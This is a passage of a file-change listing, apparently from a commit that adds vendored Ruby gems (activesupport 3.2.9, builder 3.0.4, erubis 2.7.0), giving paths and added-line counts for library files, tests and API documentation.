  309. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/date_time/conversions.rb +103 -0
  310. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/date_time/zones.rb +21 -0
  311. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/enumerable.rb +127 -0
  312. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/exception.rb +3 -0
  313. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/file/atomic.rb +42 -0
  314. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/file/path.rb +5 -0
  315. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/file.rb +2 -0
  316. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/float/rounding.rb +19 -0
  317. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/float.rb +1 -0
  318. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/hash/conversions.rb +157 -0
  319. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/hash/deep_dup.rb +18 -0
  320. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/hash/deep_merge.rb +21 -0
  321. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/hash/diff.rb +13 -0
  322. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/hash/except.rb +23 -0
  323. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/hash/indifferent_access.rb +24 -0
  324. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/hash/keys.rb +54 -0
  325. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/hash/reverse_merge.rb +23 -0
  326. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/hash/slice.rb +40 -0
  327. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/hash.rb +9 -0
  328. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/integer/inflections.rb +17 -0
  329. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/integer/multiple.rb +10 -0
  330. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/integer/time.rb +39 -0
  331. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/integer.rb +3 -0
  332. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/io.rb +15 -0
  333. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/kernel/agnostics.rb +11 -0
  334. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/kernel/debugger.rb +10 -0
  335. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/kernel/reporting.rb +93 -0
  336. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/kernel/singleton_class.rb +13 -0
  337. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/kernel.rb +4 -0
  338. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/load_error.rb +23 -0
  339. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/logger.rb +83 -0
  340. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/module/aliasing.rb +70 -0
  341. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/module/anonymous.rb +24 -0
  342. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/module/attr_internal.rb +39 -0
  343. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/module/attribute_accessors.rb +64 -0
  344. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/module/delegation.rb +153 -0
  345. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/module/deprecation.rb +9 -0
  346. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/module/introspection.rb +88 -0
  347. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/module/method_names.rb +14 -0
  348. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/module/qualified_const.rb +64 -0
  349. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/module/reachable.rb +8 -0
  350. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/module/remove_method.rb +16 -0
  351. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/module/synchronization.rb +45 -0
  352. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/module.rb +12 -0
  353. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/name_error.rb +18 -0
  354. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/numeric/bytes.rb +44 -0
  355. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/numeric/time.rb +79 -0
  356. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/numeric.rb +2 -0
  357. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/object/acts_like.rb +10 -0
  358. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/object/blank.rb +121 -0
  359. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/object/conversions.rb +4 -0
  360. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/object/duplicable.rb +119 -0
  361. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/object/inclusion.rb +25 -0
  362. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/object/instance_variables.rb +33 -0
  363. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/object/to_json.rb +19 -0
  364. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/object/to_param.rb +55 -0
  365. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/object/to_query.rb +27 -0
  366. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/object/try.rb +57 -0
  367. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/object/with_options.rb +43 -0
  368. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/object.rb +13 -0
  369. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/proc.rb +14 -0
  370. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/process/daemon.rb +23 -0
  371. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/process.rb +1 -0
  372. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/range/blockless_step.rb +29 -0
  373. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/range/conversions.rb +21 -0
  374. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/range/cover.rb +3 -0
  375. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/range/include_range.rb +21 -0
  376. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/range/overlaps.rb +8 -0
  377. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/range.rb +5 -0
  378. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/regexp.rb +5 -0
  379. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/rexml.rb +46 -0
  380. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/access.rb +99 -0
  381. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/behavior.rb +6 -0
  382. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/conversions.rb +66 -0
  383. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/encoding.rb +11 -0
  384. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/exclude.rb +11 -0
  385. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/filters.rb +49 -0
  386. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/inflections.rb +202 -0
  387. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/inquiry.rb +13 -0
  388. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/interpolation.rb +2 -0
  389. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/multibyte.rb +72 -0
  390. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/output_safety.rb +186 -0
  391. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/starts_ends_with.rb +4 -0
  392. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/strip.rb +26 -0
  393. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string/xchar.rb +18 -0
  394. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/string.rb +14 -0
  395. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/time/acts_like.rb +8 -0
  396. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/time/calculations.rb +360 -0
  397. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/time/conversions.rb +85 -0
  398. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/time/marshal.rb +57 -0
  399. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/time/publicize_conversion_methods.rb +10 -0
  400. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/time/zones.rb +86 -0
  401. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext/uri.rb +30 -0
  402. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/core_ext.rb +3 -0
  403. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/dependencies/autoload.rb +50 -0
  404. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/dependencies.rb +703 -0
  405. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/deprecation/behaviors.rb +49 -0
  406. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/deprecation/method_wrappers.rb +29 -0
  407. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/deprecation/proxy_wrappers.rb +81 -0
  408. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/deprecation/reporting.rb +65 -0
  409. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/deprecation.rb +18 -0
  410. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/descendants_tracker.rb +45 -0
  411. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/duration.rb +110 -0
  412. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/file_update_checker.rb +121 -0
  413. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/file_watcher.rb +36 -0
  414. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/gzip.rb +30 -0
  415. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/hash_with_indifferent_access.rb +178 -0
  416. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/i18n.rb +9 -0
  417. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/i18n_railtie.rb +102 -0
  418. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/inflections.rb +63 -0
  419. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/inflector/inflections.rb +174 -0
  420. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/inflector/methods.rb +321 -0
  421. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/inflector/transliterate.rb +98 -0
  422. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/inflector.rb +7 -0
  423. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/json/decoding.rb +79 -0
  424. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/json/encoding.rb +284 -0
  425. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/json/variable.rb +9 -0
  426. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/json.rb +2 -0
  427. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/lazy_load_hooks.rb +46 -0
  428. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/locale/en.yml +36 -0
  429. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/log_subscriber/test_helper.rb +101 -0
  430. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/log_subscriber.rb +122 -0
  431. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/memoizable.rb +116 -0
  432. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/message_encryptor.rb +103 -0
  433. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/message_verifier.rb +74 -0
  434. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/multibyte/chars.rb +476 -0
  435. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/multibyte/exceptions.rb +8 -0
  436. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/multibyte/unicode.rb +393 -0
  437. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/multibyte/utils.rb +60 -0
  438. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/multibyte.rb +44 -0
  439. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/notifications/fanout.rb +61 -0
  440. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/notifications/instrumenter.rb +53 -0
  441. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/notifications.rb +154 -0
  442. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/option_merger.rb +25 -0
  443. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/ordered_hash.rb +222 -0
  444. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/ordered_options.rb +61 -0
  445. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/railtie.rb +59 -0
  446. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/rescuable.rb +115 -0
  447. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/ruby/shim.rb +22 -0
  448. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/string_inquirer.rb +21 -0
  449. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/tagged_logging.rb +80 -0
  450. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/test_case.rb +34 -0
  451. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/testing/assertions.rb +97 -0
  452. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/testing/declarative.rb +40 -0
  453. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/testing/deprecation.rb +55 -0
  454. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/testing/isolation.rb +157 -0
  455. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/testing/mochaing.rb +7 -0
  456. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/testing/pending.rb +52 -0
  457. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/testing/performance/jruby.rb +115 -0
  458. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/testing/performance/rubinius.rb +113 -0
  459. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/testing/performance/ruby/mri.rb +57 -0
  460. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/testing/performance/ruby/yarv.rb +57 -0
  461. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/testing/performance/ruby.rb +152 -0
  462. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/testing/performance.rb +317 -0
  463. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/testing/setup_and_teardown.rb +118 -0
  464. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/time/autoload.rb +5 -0
  465. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/time.rb +35 -0
  466. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/time_with_zone.rb +358 -0
  467. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/values/time_zone.rb +397 -0
  468. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/values/unicode_tables.dat +0 -0
  469. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/version.rb +10 -0
  470. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/whiny_nil.rb +24 -0
  471. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/xml_mini/jdom.rb +175 -0
  472. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/xml_mini/libxml.rb +80 -0
  473. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/xml_mini/libxmlsax.rb +86 -0
  474. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/xml_mini/nokogiri.rb +84 -0
  475. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/xml_mini/nokogirisax.rb +88 -0
  476. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/xml_mini/rexml.rb +130 -0
  477. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support/xml_mini.rb +168 -0
  478. data/vendor/bundle/gems/activesupport-3.2.9/lib/active_support.rb +82 -0
  479. data/vendor/bundle/gems/builder-3.0.4/CHANGES +101 -0
  480. data/vendor/bundle/gems/builder-3.0.4/MIT-LICENSE +20 -0
  481. data/vendor/bundle/gems/builder-3.0.4/README.rdoc +225 -0
  482. data/vendor/bundle/gems/builder-3.0.4/Rakefile +189 -0
  483. data/vendor/bundle/gems/builder-3.0.4/doc/releases/builder-1.2.4.rdoc +31 -0
  484. data/vendor/bundle/gems/builder-3.0.4/doc/releases/builder-2.0.0.rdoc +46 -0
  485. data/vendor/bundle/gems/builder-3.0.4/doc/releases/builder-2.1.1.rdoc +58 -0
  486. data/vendor/bundle/gems/builder-3.0.4/lib/blankslate.rb +137 -0
  487. data/vendor/bundle/gems/builder-3.0.4/lib/builder/blankslate.rb +23 -0
  488. data/vendor/bundle/gems/builder-3.0.4/lib/builder/version.rb +8 -0
  489. data/vendor/bundle/gems/builder-3.0.4/lib/builder/xchar.rb +197 -0
  490. data/vendor/bundle/gems/builder-3.0.4/lib/builder/xmlbase.rb +192 -0
  491. data/vendor/bundle/gems/builder-3.0.4/lib/builder/xmlevents.rb +63 -0
  492. data/vendor/bundle/gems/builder-3.0.4/lib/builder/xmlmarkup.rb +334 -0
  493. data/vendor/bundle/gems/builder-3.0.4/lib/builder.rb +13 -0
  494. data/vendor/bundle/gems/builder-3.0.4/test/performance.rb +40 -0
  495. data/vendor/bundle/gems/builder-3.0.4/test/preload.rb +39 -0
  496. data/vendor/bundle/gems/builder-3.0.4/test/test_blankslate.rb +217 -0
  497. data/vendor/bundle/gems/builder-3.0.4/test/test_eventbuilder.rb +150 -0
  498. data/vendor/bundle/gems/builder-3.0.4/test/test_markupbuilder.rb +578 -0
  499. data/vendor/bundle/gems/builder-3.0.4/test/test_method_caching.rb +62 -0
  500. data/vendor/bundle/gems/builder-3.0.4/test/test_namecollision.rb +39 -0
  501. data/vendor/bundle/gems/builder-3.0.4/test/test_xchar.rb +77 -0
  502. data/vendor/bundle/gems/erubis-2.7.0/CHANGES.txt +828 -0
  503. data/vendor/bundle/gems/erubis-2.7.0/MIT-LICENSE +20 -0
  504. data/vendor/bundle/gems/erubis-2.7.0/README.txt +102 -0
  505. data/vendor/bundle/gems/erubis-2.7.0/benchmark/Makefile +6 -0
  506. data/vendor/bundle/gems/erubis-2.7.0/benchmark/bench.rb +313 -0
  507. data/vendor/bundle/gems/erubis-2.7.0/benchmark/bench_context.yaml +141 -0
  508. data/vendor/bundle/gems/erubis-2.7.0/benchmark/templates/_footer.html +4 -0
  509. data/vendor/bundle/gems/erubis-2.7.0/benchmark/templates/_header.html +52 -0
  510. data/vendor/bundle/gems/erubis-2.7.0/benchmark/templates/bench_erb.rhtml +29 -0
  511. data/vendor/bundle/gems/erubis-2.7.0/benchmark/templates/bench_erubis.rhtml +29 -0
  512. data/vendor/bundle/gems/erubis-2.7.0/benchmark/templates/bench_eruby.rhtml +29 -0
  513. data/vendor/bundle/gems/erubis-2.7.0/bin/erubis +10 -0
  514. data/vendor/bundle/gems/erubis-2.7.0/contrib/erubis +3468 -0
  515. data/vendor/bundle/gems/erubis-2.7.0/contrib/erubis-run.rb +132 -0
  516. data/vendor/bundle/gems/erubis-2.7.0/contrib/inline-require +179 -0
  517. data/vendor/bundle/gems/erubis-2.7.0/doc/docstyle.css +209 -0
  518. data/vendor/bundle/gems/erubis-2.7.0/doc/users-guide.html +3551 -0
  519. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/ActionView/TemplateHandlers/ErubisHandler.html +209 -0
  520. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/ActionView.html +105 -0
  521. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/ERB.html +101 -0
  522. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/ArrayBufferEnhancer.html +175 -0
  523. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/ArrayBufferEruby.html +120 -0
  524. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/ArrayEnhancer.html +174 -0
  525. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/ArrayEruby.html +120 -0
  526. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Basic/Converter.html +327 -0
  527. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Basic/Engine.html +130 -0
  528. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Basic.html +112 -0
  529. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/BiPatternEnhancer.html +215 -0
  530. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/BiPatternEruby.html +120 -0
  531. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/CGenerator.html +386 -0
  532. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/CommandOptionError.html +113 -0
  533. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Context.html +344 -0
  534. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Converter.html +283 -0
  535. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/CppGenerator.html +382 -0
  536. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/DeleteIndentEnhancer.html +150 -0
  537. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/DeleteIndentEruby.html +120 -0
  538. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Ec.html +126 -0
  539. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Ecpp.html +126 -0
  540. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Ejava.html +126 -0
  541. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Ejavascript.html +126 -0
  542. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Engine.html +305 -0
  543. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Eperl.html +126 -0
  544. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Ephp.html +126 -0
  545. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/ErboutEnhancer.html +175 -0
  546. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/ErboutEruby.html +120 -0
  547. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/ErubisError.html +117 -0
  548. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Eruby.html +132 -0
  549. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/EscapeEnhancer.html +165 -0
  550. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/EscapedEc.html +120 -0
  551. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/EscapedEcpp.html +120 -0
  552. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/EscapedEjava.html +120 -0
  553. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/EscapedEjavascript.html +120 -0
  554. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/EscapedEperl.html +120 -0
  555. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/EscapedEphp.html +120 -0
  556. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/EscapedEruby.html +127 -0
  557. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/EscapedEscheme.html +120 -0
  558. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Escheme.html +126 -0
  559. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Evaluator.html +212 -0
  560. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/FastEruby.html +131 -0
  561. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Generator.html +416 -0
  562. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/HeaderFooterEnhancer.html +267 -0
  563. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/HeaderFooterEruby.html +120 -0
  564. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Helpers/RailsFormHelper.html +787 -0
  565. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Helpers/RailsHelper/TemplateConverter.html +213 -0
  566. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Helpers/RailsHelper.html +349 -0
  567. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Helpers.html +116 -0
  568. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/InterpolationEnhancer.html +305 -0
  569. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/InterpolationEruby.html +120 -0
  570. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/JavaGenerator.html +359 -0
  571. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/JavascriptGenerator.html +386 -0
  572. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/Main.html +341 -0
  573. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/NoCodeEnhancer.html +249 -0
  574. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/NoCodeEruby.html +120 -0
  575. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/NoTextEnhancer.html +159 -0
  576. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/NoTextEruby.html +120 -0
  577. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/NotSupportedError.html +119 -0
  578. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/OptimizedEruby.html +163 -0
  579. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/OptimizedGenerator.html +439 -0
  580. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/OptimizedXmlEruby.html +163 -0
  581. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PI/Converter.html +266 -0
  582. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PI/Ec.html +166 -0
  583. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PI/Ecpp.html +166 -0
  584. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PI/Ejava.html +166 -0
  585. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PI/Ejavascript.html +166 -0
  586. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PI/Engine.html +122 -0
  587. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PI/Eperl.html +166 -0
  588. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PI/Ephp.html +166 -0
  589. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PI/Eruby.html +155 -0
  590. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PI/Escheme.html +166 -0
  591. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PI/TinyEruby.html +293 -0
  592. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PI.html +125 -0
  593. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PercentLineEnhancer.html +163 -0
  594. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PercentLineEruby.html +120 -0
  595. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PerlGenerator.html +344 -0
  596. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PhpGenerator.html +350 -0
  597. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PrefixedLineEnhancer.html +210 -0
  598. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PrefixedLineEruby.html +120 -0
  599. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PreprocessingEruby.html +183 -0
  600. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PreprocessingHelper.html +212 -0
  601. data/vendor/bundle/gems/erubis-2.7.0/doc-api/classes/Erubis/PrintEnabledEnhancer.html +212 -0
